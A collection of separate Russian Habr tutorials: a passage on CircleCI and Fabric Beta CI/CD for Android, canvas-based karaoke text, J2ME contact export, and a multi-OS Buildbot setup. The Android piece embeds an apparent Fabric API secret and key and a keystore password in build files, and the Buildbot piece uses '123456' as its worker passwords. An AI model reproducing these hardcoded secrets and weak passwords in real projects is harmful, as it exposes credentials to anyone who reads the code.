Наша цель — двигаться небольшими шагами, поэтому поставим себе цель просто запустить сборку репозитория на Ci
Начнем пошагово:
1. Авторизуемся на CiCircle через GitHub
2. В боковой плашке находим Project и переходим к нашему новому проекту (если вы нажмете на Build project то сборка завершится неудачей из за не настроенного проекта)
3. Заходим в настройки репозитория на GitHub в категорию Integrations & services и нажимаем Add Service
4. Забегая вперед, в настройках проекта на CiCircle рекомендую включить мониторинг Pull request(PR), это позволит вашим коллегам не мерджить в мастер нерабочий код. (Возможно это еще одна моя заморочка, но я считаю, что master ветка должна всегда собираться)
5. Пожалуй самая важная часть по настройке Ci — настройка в вашем проекте
Нам необходимо внести изменения в build.gradle, добавить cicircle.gradle (по сути шаблон) и некоторый circleci.yml (который несет в себе основную настройку по CI). Я сторонник проводить любые изменения master ветки только через PR, поэтому создаем branch с преднастройками Ci и делаем PR.
Если все было сделано правильно, то под PR мы увидим что-то похожее
А если зайдем в Ci то увидим как собирается наш проект
Спустя какое то время (обычно сборка занимает не более 5 минут мы увидим скорее всего положительный результат)
А значит можно продолжать, и смело нажимаем Merge! (И на Ci запустится сборка master ветки)
Какие плюсы для себя мы получаем?
* Сборка происходит независимо от нас в облаке
* Теперь каждый раз когда мы делаем PR то мы точно знаем, соберется ли у нас сборка. Это исключает возможность подкинуть себе проблем с нерабочими сборками из мастера
* Есть возможность прогонять тесты
**Отлично, работаем дальше!**
Раз сборка происходит в облаке, логично предположить, что остаются какие то артифакты в виде apk.
Мне кажется, что хорошая цель на данную итерацию — получать apk, который можно было бы выложить в маркет. Таким образом мы получаем при каждой сборке master ветки (не PR) уже готовый продукт.
1. Чтобы сбирать release.apk — нам необходимо сгенерировать ключ подписи. Это делается единожды через Android Studio.
2. Далее вносятся изменения в build.gradle
```
signingConfigs {
release {
def signFile = project.rootProject.file('./release.keystore')
if (signFile.exists()) {
storeFile signFile
storePassword "qweqwe"
keyAlias "habrcicdcat"
keyPassword "qweqwe"
}
}
}
buildTypes {
release {
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
signingConfig signingConfigs.release
}
}
```
Файл release.keystore лежит в папке с проектом.
3. Создаем bash скрипт кторый будет отвечать за перенос собранного файла в директорию артефактов
```
#/bin/bash
GRADLE="./gradlew"
$GRADLE assembleRelease
RELEASEFILE="${CIRCLE_ARTIFACTS}/habrcicdcat-release-${CIRCLE_BUILD_NUM}-${CIRCLE_SHA1}.apk"
cp ./app/build/outputs/apk/app-release.apk ${RELEASEFILE}
```
Данные константы доступны по умолчанию
CIRCLE\_BUILD\_NUM — номер сборки
CIRCLE\_SHA1 — ключ коммита
CIRCLE\_ARTIFACTS — мы устанавливаем ее в cicircle.yml
```
general:
artifacts:
- /home/ubuntu/HabrCiCdCat/app/build/outputs/apk/
```
4. Добавляем в cicircle.yml часть, отвечающую за деплоймет
```
deployment:
beta:
branch: master
commands:
- cd scripts && ./build.sh
```
Всего лишь запускаем наш скрипт, при изменении мастер ветки
5. Делаем PR в мастер ветку, дожидаемся что все собирается успешно, выполняем слияние. Если перейти в консоль Ci то мы можем увидеть, как началась собираться master ветка.
Спустя какое то время, вы увидите, что сборка прошла успешно. Через консоль в Ci можно увидеть собранные APK
Фактически на этом можно закрывать создание apk. Мы можем скачать и сразу загрузить apk в маркет или отправить на почту нашим котам. Но чего то все таки не хватает. Главная цель статьи не была реализована, и нас все равно будут отрывать от выполнения текущей задачи. На помощь приходит CD.
**Настройка Fabric Beta**
В качестве CD сервиса я буду рассматривать [Beta](https://docs.fabric.io/apple/beta/overview.html) от Fabric. Опять же замечу, что существует множество [альтернатив](http://hockeyapp.net), но суть статьи не в холиварах а в описании процесса.
Итак. Когда корм для наших котов готов, осталось его до них донести. В этом нам помогают сервисы бета тестирования.
Начнем настройку:
1. Для начала наш проект должен зарегистрироваться в Fabric, существует несколько способов, включая добавление Fabric Plugin в Android Studio. Нужно [внести](https://fabric.io/kits/android/crashlytics/install) изменения в build.gradle файлы. После выполнения этих операций в вашей консоли в crashlitics отобразится новое приложение.
2. В настройках аккаунта Fabric вам необходимо создать новую организацию, и получить от нее apiSecret и apiKey
3. Начнем настройку Beta сервиса от Fabric
Для начала нам нужно создать группу тестировщиков и добавить в нее хотя бы себя и
Тут главное запомнить Alias: habrcicdcat
и сделать связку организации и группы тестировщиков
Всем тестировщикам из группы придет уведомление на email, которое необходимо открыть с телефона, и перейти по ссылке внутри письма для скачивания или верификации приложения Beta.
Далее начнем настройку связки сервиса и приложения
Добавляем Alias в buildTypes
```
buildTypes {
release {
minifyEnabled false
proguardFiles getDefaultProguardFile('proguard-android.txt'), 'proguard-rules.pro'
signingConfig signingConfigs.release
ext.betaDistributionGroupAliases = "habrcicdcat"
}
}
```
В папку app добавляем fabric.properties следующего содержания (константы из п.2)
`apiSecret=23167a9cd00cb83f9dab952b47e7350e19dd7693071ceb2abe2d56dbfc6e1318
apiKey=3915c7e9ffe661c44a4db3935d34a5a8da525b9c`
Далее, можно создавать PR и смотреть за сборкой master. Если все прошло успешно то вам придет нотификация в приложение Beta, и вы сможете его скачать и установить.
**Конечная цель достигнута**
Цели, поставленные в начале статьи выполнены. Теперь при любом изменении master ветки будет происходить сборка приложения, я отправка apk группе котов. И мы всегда имеем под рукой сборку, для публикации.
Теперь, когда вас будут отрывать от рабочего процесса, вы всегда можете ответить: «Последняя сборка всегда доступна в Beta» — а как побочный результат, вы можете спокойно продолжать работать над текущей задачей.
Что осталось за кадром:
* Сборка flavors (чтобы показать пример, как кормить нескольких котов)
* Возможные проблемы при создании сборок
В данной статье я хотел показать, что настройка CI и CD не такая страшная, однако крайне полезная вещь. Я не считаю проблемой, затратить час времени для настройки этой системы на фриланс проектах потому, что выгода от нее спустя 2 недели превысит этот час. Надеюсь, эта статья принесет в ваш проект CI и CD, ну или хотя бы вам было интересно.
[Ссылка на GitHub проект](https://github.com/vacxe/HabrCiCdCat) где пошагово описана каждая итерация из данной статьи. | https://habr.com/ru/post/328326/ | null | ru | null |
# Караоке на HTML5 canvas
Решил я попробовать сделать web-караоке, но чтобы текст красиво отображался — не по-буквенно, а плавно. Решение оказалось более простым, чем я думал.
По-буквенный вариант совсем прост — достаточно обойтись CSS, см. [пример на JSFiddle](http://jsfiddle.net/and7ey/qojmrwfc/).
Более красивый вариант заключается в использовании canvas и раскраске текста с помощью стиля gradient:
```
var gradient = ctx.createLinearGradient(0, 0, 30, 0);
gradient.addColorStop(0.00, 'yellow');
gradient.addColorStop(0.01, 'black');
gradient.addColorStop(1.00, 'black');
ctx.fillStyle = gradient;
```
[Градиент](http://www.w3schools.com/tags/canvas_createlineargradient.asp) сам по себе (в виде перехода одного цвета в другой — см. ниже рисунок слева) для отображения караоке не нужен, потому используется дополнительная точка — 0.01, чтобы основная часть «градиента» (0.01-1.00) оставалась черной, а маленькая часть (0.00-1.00) — желтой (см. ниже рисунок справа):
(альтернативный вариант — задать малое значение третьего параметра — x1 (окончания градиента) — в *createLinearGradient*).
Однако, если просто нарисовать текст:
```
ctx.fillText(text, 0, 0);
```
то он будет отображен лишь одним цветом — черным:
Дело в том, что градиент применяется относительно начала системы координат. На рисунке выше точка *0* по оси *x* отображается черной вертикальной линией (смещена по оси х в середину canvas'a с помощью метода [translate](http://www.w3schools.com/tags/canvas_translate.asp)). Чтобы применить градиент, достаточно нарисовать текст со смещением. Та часть, которая окажется левее начала координат по оси *x*, будет окрашена в желтый цвет, а та, что правее — в черный:
```
ctx.fillText(text, -190, 0);
```
Для отображения караоке теперь достаточно лишь смещать начало системы координат по оси *x* (например, в цикле, на один пиксел) — текст будет постепенно окрашиваться в желтый цвет. Попробовать раскраску текста со смещением положения текста (без смещения начала координат) можно [попробовать на JSFiddle](http://jsfiddle.net/and7ey/f6cez802/) (сетка и дизайн взяты из [этой](http://habrahabr.ru/post/104718/) статьи). В финальном проекте можно посмотреть что получилось [тут](http://vkkar.ru) (нужен аккаунт ВКонтакте). | https://habr.com/ru/post/248783/ | null | ru | null |
# Экспорт и импорт личных данных телефона
Столкнулся с проблемой, что нужно было забрать свои контактные телефоны и все события в календаре с телефона и перекинуть на другой. Ходя по разным сервисам ничего не нашёл. Пришлось написать все самому.
Не буду показывать весь код программы, покажу лишь как забирать и записывать номера в телефон. На Nokie E60 работает нормально, на других телефонах я не тестил.
j2me позволяет импортировать и экспортировать личные данные давая свои API для этих целей. К личным данным относится: контакты, напоминания и задачи. Больше теории и описание всех методов класса можно найти [тут](http://developers.sun.com/mobility/apis/articles/pim/index.html) или [тут](http://developer.motorola.com/docstools/articles/VCard_20061101.pdf/).
**Забираем телефоны:**
`//запускаем экземпляр класса личных данных
PIM pim = PIM.getInstance();
ContactList lists = null;
try {
//все наши контакты забираем в переменную lists
lists = (ContactList) pim.openPIMList(PIM.CONTACT_LIST, PIM.READ_WRITE);
} catch (Exception e) {}
// Перебираем телефоны и сохраняем их
Enumeration contacts = null;
try {
contacts = lists.items();
} catch (PIMException ex) {
ex.printStackTrace();
}
//переменная для хранения контактов по отдельности
Contact next = (Contact) contacts.nextElement();
//количество телефонов
int count = next.countValues(Contact.TEL);
String all_telephone = "";
for (int i = 0; i < count; i++) {
//сохраняем данные и накапливаем их
String phone = next.getString(Contact.TEL, i);
all_telephone += phone+"\n";
}
list = new StringItem("List:", all_telephone);`
**Записываем новый телефон:**
`//переменная для храниения данных, которые мы будем записывать
Contact create_next = lists.createContact();
int attrs = Contact.ATTR_HOME;
//аттрибут телефона
create_next.addString(Contact.TEL, attrs, "9379992");
//аттрибут имени
create_next.addString(Contact.ORG, PIMItem.ATTR_NONE, "Жди меня");
try {
//сохраняем в телефоне
create_next.commit();
} catch (PIMException ex) {
ex.printStackTrace();
}` | https://habr.com/ru/post/81726/ | null | ru | null |
# Buildbot в примерах
Потребовалось мне настроить процесс сборки и доставки на сайт пакетов программ из Git-репозитария. И увидев, ни так давно, тут на Хабре статью по buildbot (ссылка в конце) решил для этого попробовать его и применить.
Так как buildbot — это распределённая система, то будет логичным под каждую архитектуру и операционку сделать отдельный сборочный хост. В нашем случае это будут LXC-контейнеры (в случае linux) и qemu (в случае windows):
* vm-srv-build1 — centos 7, тут будет buildbot мастер (master) и один из рабочих (worker)
* vm-srv-build2 — debian 10, для сборки DEB пакетов
* vm-srv-build3 — windows 10, для сборки, сами понимаете, под что
Собирать будем [Rac GUI](https://habr.com/ru/post/415835/) — графическая морда к 1С rac для управления кластером серверов. Под линукс будут использоваться штатные средства под каждую ОС, для сборки exe-файла под windows из tcl-скрипта используется [freewrap](http://freewrap.sourceforge.net).
### Установка
#### GNU/Linux
По установке, документации в сети достаточно [1](https://habr.com/ru/post/460501/),[2](https://www.8host.com/blog/nastrojka-nepreryvnoj-integracii-v-buildbot-v-ubuntu-16-04). Да и особых проблем она не вызывает:
Для мастера:
```
pip3 install buildbot
pip3 install twisted
pip3 install autobahn
pip3 install pysqlite3
pip3 install sqlalchemy sqlalchemy-migrate
pip3 install buildbot-www buildbot-grid-view buildbot-console-view buildbot-waterfall-view
pip3 install python-dateutil
```
Для "рабочих", достаточного этого:
```
pip3 install buildbot-worker
```
Конечно, более правильным будет собрать пакеты под каждую ОС, но это в рамки статьи не входит. Также опустим описание настройки контейнеров для работы, отмечу только, что использую ProxMox VE. И ещё потребуется установить пакеты под каждую ось потребные для сборки (centos: rpmdevtools и т.д; debian: build-essential, dh-make, pbuilder и т.д.)
Сборка проектов и сервисы buildbot будут запускаться от имени непривилегированного пользователя, поэтому необходимо его создать на всех хостах, участвующих в процессе:
```
adduser buildbot
```
Дальше настроим автоматический запуск сервисов, соответственно на каждом из хостов (контейнеров):
Systemd юнит для запуска мастера:
```
touch /etc/systemd/buildbot-master.service
[Unit]
Description=BuildBot master service
After=network.target
[Service]
User=buildbot
Group=buildbot
WorkingDirectory=/home/buildbot/master
ExecStart=/usr/local/bin/buildbot start --nodaemon
ExecReload=/bin/kill -HUP $MAINPID
[Install]
WantedBy=multi-user.target
```
и "рабочего"
```
touch /etc/systemd/buildbot-worker.service
[Unit]
Description=BuildBot worker service
After=network.target
[Service]master
User=buildbot
Group=buildbot
WorkingDirectory=/home/buildbot/worker
ExecStart=/usr/local/bin/buildbot-worker start --nodaemon
[Install]
WantedBy=buildbot-master.service
```
Так как все скрипты (в нашем случае) лежат в /usr/local/, то следует прописать путь к ним в переменные окружения:
```
nano /root/.bash_profile
PATH=$PATH:$HOME/.local/bin:$HOME/bin:/usr/local/bin
```
После этого, можно создать инфраструктуру каталогов для "рабочих" (на всех хостах), для этого регистрируется под пользователем buildbot и выполняем следующие команды:
На первом хосте vm-srv-build1:
```
su - buildbot
mkdir /home/buildbot/worker
cd ~
buildbot-worker create-worker --umask=0o22 --keepalive=60 worker vm-srv-build1:4000 CentOS 123456
```
На втором хосте vm-srv-build2:
```
su - buildbot
mkdir /home/buildbot/worker
cd ~
buildbot-worker create-worker --umask=0o22 --keepalive=60 worker vm-srv-build1:4000 Debian-10 123456
```
На хостах-рабочих службу buildbot-worker можно запустить
```
systemctl start buildbot-worker
```
#### MS Windows
В качестве "рабочего" для сборки под windows, будет использована виртуальная машина с последним релизом Win10.
Для работы понадобиться:
* [Python](https://www.python.org/downloads/windows/)
* [PyWIN](https://github.com/mhammond/pywin32/releases)
* [Git](https://git-scm.com/download/win)
* Для установки всякого-разного в питоне понадобилось скачать [Build Tools for Visual Studio 2019](https://visualstudio.microsoft.com/downloads/)
* 7Zip
После того, как установится всё вышеперечисленное, можно поставить и сам buildbot:
```
pip install buildbot-worker
```
Создадим рабочий каталог
```
md c:\worker
```
И запустим
```
buildbot-worker start c:\worker
```
Если всё работает (см. лог c:\worker\twistd.log), то можно нашего "рабочего", зарегистрировать как службу, добавив в реестр пункт с рабочим каталогом (команды выполняются в powershell запущенном от имени администратора):
```
buildbot_worker_windows_service.exe --user VM-SRV-BUILD3\buildbot --password 123456 --startup auto install
New-ItemProperty -path Registry::HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\BuildBot\Parameters -Name directories -PropertyType String -Value c:\worker
```
И можно запускать слубжу
```
Start-Service buildbot
```
С "рабочими" на этом всё, дальше их можно не трогать, всё управление идёт с мастера.
### Настройка мастера
Для начала, создадим инфраструктуру для мастера (на главном хосте), для этого регистрируется под пользователем buildbot и выполняем следующие команды:
```
su - buildbot
mkdir /home/buildbot/master
cd ~
buildbot create-master master
```
Для готовых пакетов создадим каталог builds
```
mkdir /home/buildbot/builds
```
В каталоге /home/buildbot/master/ был создан файл master.cfg. Данный файл представляет собой код на python и содержит описание всех механизмов работы системы, с ним и будем работать в дальнейшем.
```
nano /home/buildbot/master/master.cfg
```
```
import os, re
from buildbot.plugins import steps, util, schedulers, worker, changes, reporters
c= BuildmasterConfig ={}
# Описание наших рабочих.
c['workers'] = [ worker.Worker('CentOS', '123456'), worker.Worker('Debian-10', '123456'), worker.Worker('Windows-10', '123456')]
c['protocols'] = {'pb': {'port': 4000}}
# Указание мастеру какой репозиторий отслеживать
c['change_source'] = []
c['change_source'].append(changes.GitPoller(
repourl = 'https://bitbucket.org/svk28/rac-gui.git',
project = 'Rac-GUI',
branches = True,
pollInterval = 60
)
)
# служба запуска сборки
c['schedulers'] = []
c['schedulers'].append(schedulers.SingleBranchScheduler(
name="Rac-GUI-schedulers",
change_filter=util.ChangeFilter(branch='master'),
builderNames=["Rac-GUI-RPM-builder", "Rac-GUI-DEB-builder", "Rac-GUI-WIN-builder"],
properties = {'owner': 'admin'}
)
)
@util.renderer
######################################3
# Сборка RPM-пакета
rac_gui_build_RPM = util.BuildFactory()
rac_gui_build_RPM.addStep(steps.Git(
repourl = 'https://bitbucket.org/svk28/rac-gui.git',
workdir = 'rac-gui',
haltOnFailure = True,
submodules = True,
mode='full',
progress = True)
)
```
Для автоматизации сборки пакетов разных версий, дабы не приходилоось лазить в код файла master.cfg, в основном скрипте программы rac\_gui.tcl в заголовке, добавлены строки с текущими версией и релизом:
```
######################################################
# Rac GUI
...
# version: 1.0.3
# release: 1
```
И на основе этих строк buildbot будет нумеровать пакеты. Для выдёргивания данных, используется вызов консольного grep. В buildbot просто так нельзя опеределить переменные для "рабочих" (во всяком случае, я не нашёл как). Для этого служат свойства (property). Т.е. в сборочный процесс, добавляем шаги по определению версии и релиза и соответсвенно, устанавливаем свойства version и release. Свойства можно устанавливать различными способами, в данном случае это вызов консольной команды:
```
# Добавим определение версии из основного файла
rac_gui_build_RPM.addStep(
steps.SetPropertyFromCommand(
command="grep version ../rac-gui/rac_gui.tcl | grep -oE '\\b[0-9]{1,2}\\.[0-9]{1,2}\\.[0-9]{1,2}\\b'", property="version"
)
)
# Добавим определение релиза из основного файла
rac_gui_build_RPM.addStep(
steps.SetPropertyFromCommand(
command="grep release ../rac-gui/rac_gui.tcl | grep -oE '\\b[0-9]{1,3}\\b'", property="release"
)
)
```
Подставлять полученные значения можно путём вызова util.Interpolate().
```
# Запакуем исходники
rac_gui_build_RPM.addStep(
steps.ShellCommand(
command=["tar", "czf", util.Interpolate("/home/buildbot/rpmbuild/SOURCES/rac-gui-%(prop:version)s-%(prop:release)s.tar.gz"), "../rac-gui"]
)
)
```
Тут следует заметить что, так как хост используется и для ручной сборки пакетов, то сборка будет проходить по стандартным путям.
```
# Копируем spec
rac_gui_build_RPM.addStep(steps.ShellCommand(
command=["cp", "../rac-gui/rac_gui.spec", "/home/buildbot/rpmbuild/SPECS/rac_gui.spec"]))
```
Для установки корректных номеров релиза и версии используется вызов стандарного sed, т.е. команда заменяет значения внутри spec-файла на необходимые
```
# меняем версию
rac_gui_build_RPM.addStep(steps.ShellCommand(
command=["sed", "-i", util.Interpolate("s/.*Version:.*/Version:\t%(prop:version)s/"), "/home/buildbot/rpmbuild/SPECS/rac_gui.spec"]))
# меняем релиз
rac_gui_build_RPM.addStep(steps.ShellCommand(
command=["sed", "-i", util.Interpolate("s/.*Release:.*/Release:\t%(prop:release)s/"), "/home/buildbot/rpmbuild/SPECS/rac_gui.spec"]))
# запускаем процесс сборки
rac_gui_build_RPM.addStep(steps.RpmBuild(
specfile="/home/buildbot/rpmbuild/SPECS/rac_gui.spec",
dist='.el5',
topdir='/home/buildbot/rpmbuild',
builddir='/home/buildbot/rpmbuild/build',
rpmdir='/home/buildbot/rpmbuild/RPMS',
sourcedir='/home/buildbot/rpmbuild/SOURCES'
)
)
```
Готовый собраный пакет и архив с исходниками копируем на мастер. Но можно и сразу с рабочего файлы копировать в свой репозиторий или на сайт.
```
# Скопируем файл на мастер
rac_gui_build_RPM.addStep(
steps.FileUpload(
workersrc=util.Interpolate("/home/buildbot/rpmbuild/RPMS/noarch/rac-gui-%(prop:version)s-%(prop:release)s.noarch.rpm"),
masterdest=util.Interpolate("/home/buildbot/builds/rac-gui-%(prop:version)s-%(prop:release)s.noarch.rpm")
)
)
rac_gui_build_RPM.addStep(
steps.FileUpload(
workersrc=util.Interpolate("/home/buildbot/rpmbuild/SOURCES/rac-gui-%(prop:version)s-%(prop:release)s.tar.gz"),
masterdest=util.Interpolate("/home/buildbot/builds/rac-gui-%(prop:version)s-%(prop:release)s.tar.gz")
)
)
```
Запустим на мастере процесс копирования собранных пакетов на хостинг по фтп. Для этого используется [скрипт](https://nuk-svk.ru/files/deploy-ftp.tcl.gz) на tcl.
```
rac_gui_build_RPM.addStep(
steps.MasterShellCommand(
command=["/usr/local/bin/deploy-ftp.tcl",
util.Interpolate("--local-file=/home/buildbot/builds/rac-gui-%(prop:version)s-%(prop:release)s.noarch.rpm"),
util.Interpolate("--remote-file=uploads/rac-gui/rac-gui-%(prop:version)s-%(prop:release)s.noarch.rpm")]
)
)
rac_gui_build_RPM.addStep(
steps.MasterShellCommand(
command=["/usr/local/bin/deploy-ftp.tcl",
util.Interpolate("--local-file=/home/buildbot/builds/rac-gui-%(prop:version)s-%(prop:release)s.tar.gz"),
util.Interpolate("--remote-file=uploads/rac-gui/rac-gui-%(prop:version)s-%(prop:release)s.tar.gz")]
)
)
```
На этом с RPM закончили. Теперь приступим к описанию алгоритма сборки DEB-пакета. Так как процессы сборки пакетов под разные системы независимы друг от друга, то и многие шаги будут повторятся.
```
rac_gui_build_DEB = util.BuildFactory()
rac_gui_build_DEB.addStep(steps.Git(
repourl = 'https://bitbucket.org/svk28/rac-gui.git',
haltOnFailure = True,
submodules = True,
mode='full',
workdir='build',
progress = True)
)
# Добавим определение версии из основного файла
rac_gui_build_DEB.addStep(
steps.SetPropertyFromCommand(
command="grep version rac_gui.tcl | grep -oE '\\b[0-9]{1,2}\\.[0-9]{1,2}\\.[0-9]{1,2}\\b'", property="version"
)
)
# Добавим определение релиза из основного файла
rac_gui_build_DEB.addStep(
steps.SetPropertyFromCommand(
command="grep release rac_gui.tcl | grep -oE '\\b[0-9]{1,3}\\b'", property="release"
)
)
# Переименуем запускаемый файл
rac_gui_build_DEB.addStep(steps.ShellCommand(
command=["mv", "rac_gui.tcl", "racgui"]))
```
Для RPM-пакета часть нижеследующих процедур делается самим rpm при сборке и описаны внутри спека, для дебиана приходится это делать тут:
```
# Поменяем пути к библиотекам
rac_gui_build_DEB.addStep(steps.ShellCommand(
command=["sed", "-i", "s+^set\ dir(lib)+set\ dir(lib)\ /usr/share/rac-gui/lib ;#+g", "racgui"]))
# Поменяем пути к файлам
rac_gui_build_DEB.addStep(steps.ShellCommand(
command=["sed", "-i", "s+\[pwd\]+/usr/share/rac-gui+g", "racgui"]))
# заархивируем исходники
rac_gui_build_DEB.addStep(steps.ShellCommand(
command=["tar", "czf", util.Interpolate("../rac-gui_%(prop:version)s.orig.tar.gz"), "."]))
# Соберём пакет
rac_gui_build_DEB.addStep(steps.ShellCommand(
command=["dpkg-buildpackage"]))
# Скопируем файл на мастер
rac_gui_build_DEB.addStep(
steps.FileUpload(
workersrc=util.Interpolate("../rac-gui_%(prop:version)s-%(prop:release)s_amd64.deb"),
masterdest=util.Interpolate("/home/buildbot/builds/rac-gui_%(prop:version)s-%(prop:release)s_amd64.deb")
)
)
rac_gui_build_DEB.addStep(
steps.MasterShellCommand(
command=["/usr/local/bin/deploy-ftp.tcl",
util.Interpolate("--local-file=/home/buildbot/builds/rac-gui_%(prop:version)s-%(prop:release)s_amd64.deb"),
util.Interpolate("--remote-file=uploads/rac-gui/rac-gui_%(prop:version)s-%(prop:release)s_amd64.deb")]
)
)
```
И с DEB покончено, теперь windows!
```
rac_gui_build_WIN = util.BuildFactory()
rac_gui_build_WIN.addStep(steps.Git(
repourl = 'https://bitbucket.org/svk28/rac-gui.git',
haltOnFailure = True,
submodules = True,
mode='full',
workdir='build',
progress = True)
)
```
Так как в windows штатно нет grep и sed (или есть?) то будем использовать powershell
```
# Добавим определение версии из основного файла
rac_gui_build_WIN.addStep(
steps.SetPropertyFromCommand(
command="powershell -command \"((Get-Content .\\rac_gui.tcl | Select-String -Pattern 'version:') -split '\\s')[2]",
property="version"
)
)
# Добавим определение релиза из основного файла
rac_gui_build_WIN.addStep(
steps.SetPropertyFromCommand(
command="powershell -command \"((Get-Content .\\rac_gui.tcl | Select-String -Pattern 'release:') -split '\\s')[2]",
property="release"
)
)
# Создадим запускаемый файл
rac_gui_build_WIN.addStep(steps.ShellCommand(
command=["c:\\bin\\freewrap.exe", "rac_gui.tcl"]))
# запакуем то, что получилось
rac_gui_build_WIN.addStep(steps.ShellCommand(
command=["c:\\Program Files\\7-zip\\7z.exe", "a", "-r", util.Interpolate("..\\rac-gui_%(prop:version)s-%(prop:release)s.win.zip"), "..\\build"]))
# скопируем на мастер
rac_gui_build_WIN.addStep(
steps.FileUpload(
workersrc=util.Interpolate("..\\rac-gui_%(prop:version)s-%(prop:release)s.win.zip"),
masterdest=util.Interpolate("/home/buildbot/builds/rac-gui_%(prop:version)s-%(prop:release)s.win.zip")
)
)
# Скопируем файл на хостинг
rac_gui_build_WIN.addStep(
steps.MasterShellCommand(
command=["/usr/local/bin/deploy-ftp.tcl",
util.Interpolate("--local-file=/home/buildbot/builds/rac-gui_%(prop:version)s-%(prop:release)s.win.zip"),
util.Interpolate("--remote-file=uploads/rac-gui/rac-gui_%(prop:version)s-%(prop:release)s.win.zip")]
)
)
# Тут определяем какие сборщики у нас есть
c['builders'] = [
util.BuilderConfig(name="Rac-GUI-RPM-builder", workername='CentOS', factory=rac_gui_build_RPM),
util.BuilderConfig(name="Rac-GUI-DEB-builder", workername='Debian-10', factory=rac_gui_build_DEB),
util.BuilderConfig(name="Rac-GUI-WIN-builder", workername='Windows-10', factory=rac_gui_build_WIN),
]
```
Для оповещения о состоянии процесса сборки будем использовать электрическую почту
```
c['services'] = []
template=u'''\
#### Build status: {{ summary }}
Worker used: {{ workername }}
{% for step in build['steps'] %}
{{ step['name'] }}: {{ step['result'] }}
{% endfor %}
**-- The Buildbot**
'''
mailNotifier = reporters.MailNotifier(fromaddr="builder@domain.ru",
sendToInterestedUsers=False,
mode=('all'),
extraRecipients=["admin@domain.ru"],
relayhost="mail.domain.ru",
smtpPort=587,
smtpUser="builder@domain.ru",
smtpPassword="******",
messageFormatter=reporters.MessageFormatter(
template=template, template_type='html',
wantProperties=True, wantSteps=True))
c['services'].append(mailNotifier)
# Основные настройки мастера
c['title'] = "The process of bulding"
c['titleURL'] = "http://vm-srv-build1:80/"
c['buildbotURL'] = "http://vm-srv-build1/"
c['www'] = dict(port=80,
plugins=dict(waterfall_view={}, console_view={}, grid_view={}))
c['db'] = {
'db_url' : "sqlite:///state.sqlite"
}
```
Сохраняем файл и можно попробовать запустить службу мастера:
```
systemctl restart buildbot-master
```
В логе проконтролируем что с конфигом все в порядке и все работает в штатном режиме. Все наши работники должны теперь подключиться, о чем в логе '''''/home/buildbot/master/twistd.log''''' будет радостно сообщено:
```
2019-07-24 16:50:35+0300 [-] Loading buildbot.tac...
2019-07-24 16:50:35+0300 [-] Loaded.
2019-07-24 16:50:35+0300 [-] twistd 19.2.1 (/usr/bin/python3.6 3.6.8) starting up.
2019-07-24 16:50:35+0300 [-] reactor class: twisted.internet.epollreactor.EPollReactor.
2019-07-24 16:50:35+0300 [-] Starting BuildMaster -- buildbot.version: 2.3.1
2019-07-24 16:50:35+0300 [-] Loading configuration from '/home/buildbot/master/master.cfg'
2019-07-24 16:50:36+0300 [-] /usr/local/lib/python3.6/site-packages/buildbot/config.py:90: buildbot.config.ConfigWarning: [0.9.0 and later] `buildbotNetUsageData` is not configured and defaults to basic.
This parameter helps the buildbot development team to understand the installation base.
No personal information is collected.
Only installation software version info and plugin usage is sent.
You can `opt-out` by setting this variable to None.
Or `opt-in` for more information by setting it to "full".
2019-07-24 16:50:36+0300 [-] Setting up database with URL 'sqlite:/state.sqlite'
2019-07-24 16:50:36+0300 [-] setting database journal mode to 'wal'
2019-07-24 16:50:36+0300 [-] adding 1 new services, removing 0
2019-07-24 16:50:36+0300 [-] adding 1 new change_sources, removing 0
2019-07-24 16:50:36+0300 [-] gitpoller: using workdir '/home/buildbot/master/gitpoller-work'
2019-07-24 16:50:36+0300 [-] adding 3 new builders, removing 0
2019-07-24 16:50:36+0300 [-] adding 1 new schedulers, removing 0
2019-07-24 16:50:36+0300 [-] initializing www plugin 'waterfall_view'
2019-07-24 16:50:36+0300 [-] initializing www plugin 'console_view'
2019-07-24 16:50:36+0300 [-] initializing www plugin 'grid_view'
2019-07-24 16:50:36+0300 [-] NOTE: www plugin 'sitenav' is installed but not configured
2019-07-24 16:50:36+0300 [-] initializing www plugin 'waterfall_view'
2019-07-24 16:50:36+0300 [-] initializing www plugin 'console_view'
2019-07-24 16:50:36+0300 [-] initializing www plugin 'grid_view'
2019-07-24 16:50:36+0300 [-] NOTE: www plugin 'sitenav' is installed but not configured
2019-07-24 16:50:36+0300 [-] BuildbotSite starting on 80
2019-07-24 16:50:36+0300 [-] Starting factory
2019-07-24 16:50:36+0300 [-] adding 3 new workers, removing 0
2019-07-24 16:50:36+0300 [-] PBServerFactory starting on 4000
2019-07-24 16:50:36+0300 [-] Starting factory
2019-07-24 16:50:37+0300 [-] BuildMaster is running
2019-07-24 16:50:37+0300 [-] buildbotNetUsageData: sending {'installid': 'b6193b126b96689351d2fe95787c5a03fc0879f9', 'versions': {'Python': '3.6.8', 'Buildbot': '2.3.1', 'Twisted': '19.2.1'}, 'platform': {'platform': 'Linux-4.15.18-10- pve-x86\_64-with-centos-7.6.1810-Core', 'system': 'Linux', 'machine': 'x86\_64', 'processor': 'x86\_64', 'python\_implementation': 'CPython', 'version': '#1 SMP PVE 4.15.18-32', 'distro': 'centos:7'}, 'plugins': {'buildbot/worker/base/Worker': 3, 'buildbot/config/BuilderConfig': 3, 'buildbot/schedulers/basic/SingleBranchScheduler': 1, 'buildbot/reporters/mail/MailNotifier': 1, 'buildbot/changes/gitpoller/GitPoller': 1, 'buildbot/steps/worker/MakeDirectory': 1, 'buildbot/steps/source/git/Git': 3, 'buildbot/steps/shell/ShellCommand': 9, 'buildbot/steps/package/rpm/rpmbuild/RpmBuild': 1}, 'db': 'sqlite', 'mq': 'simple', 'www\_plugins': ['waterfall\_view', 'console\_view', 'grid\_view']}
2019-07-24 16:50:37+0300 [Broker,0,127.0.0.1] worker 'CentOS' attaching from IPv4Address(type='TCP', host='127.0.0.1', port=37332)
2019-07-24 16:50:37+0300 [Broker,0,127.0.0.1] Got workerinfo from 'CentOS'
2019-07-24 16:50:37+0300 [-] bot attached
2019-07-24 16:50:37+0300 [Broker,0,127.0.0.1] Worker CentOS attached to Rac-GUI-RPM-builder
2019-07-24 16:50:37+0300 [-] buildbotNetUsageData: buildbot.net said: ok
2019-07-24 16:50:39+0300 [Broker,1,192.168.55.15] worker 'Windows-10' attaching from IPv4Address(type='TCP', host='192.168.5.145', port=49831)
2019-07-24 16:50:39+0300 [Broker,1,192.168.55.15] Got workerinfo from 'Windows-10'
